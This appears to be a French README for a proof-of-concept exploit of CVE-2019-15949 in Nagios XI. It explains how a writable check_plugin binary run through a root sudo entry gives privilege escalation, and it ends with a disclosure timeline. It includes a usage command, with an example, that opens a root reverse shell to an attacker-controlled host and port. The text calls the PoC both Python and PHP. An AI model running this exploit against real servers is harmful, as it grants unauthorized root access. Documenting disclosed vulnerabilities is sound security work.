
un PoC pour la RCE CVE-2019-15949 de Nagios en Python
un PoC Python pour le CVE-2019-15949
Une vulnérabilité existe dans Nagios XI <= 5.6.5 permettant à un attaquant d'exploiter une RCE pour élever ses privilèges à root. L'exploit nécessite un accès au serveur en tant qu'utilisateur 'nagios', ou un accès CCM via l'interface web avec les permissions de gérer les plugins.
Le script getprofile.sh, invoqué en téléchargeant un profil système (profile.php?cmd=download), est exécuté en tant que root via une entrée sudo sans mot de passe ; le script exécute l'exécutable ‘check_plugin’ qui appartient à l'utilisateur nagios. Un utilisateur connecté à Nagios XI avec les permissions de modifier les plugins, ou l'utilisateur 'nagios' sur le serveur, peut modifier l'exécutable ‘check_plugin’ et insérer des commandes malveillantes exécutables en tant que root.
Un POC PHP a été développé, qui téléverse une charge utile résultant en un reverse shell root. Utilisation :
python3 exploit.py tagetIp [ssl=false/true] username password Lhost lport
exemple :
python3 exploit.py 10.10.11.9 false nagiosadmin admin 10.10.11.14 4444
Signalé à Nagios le : 29 juillet 2019 Confirmé par Nagios le : 29 juillet 2019 Corrigé dans la version : 5.6.6 le : 20 août 2019 CVE assigné le : 6 septembre 2019 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)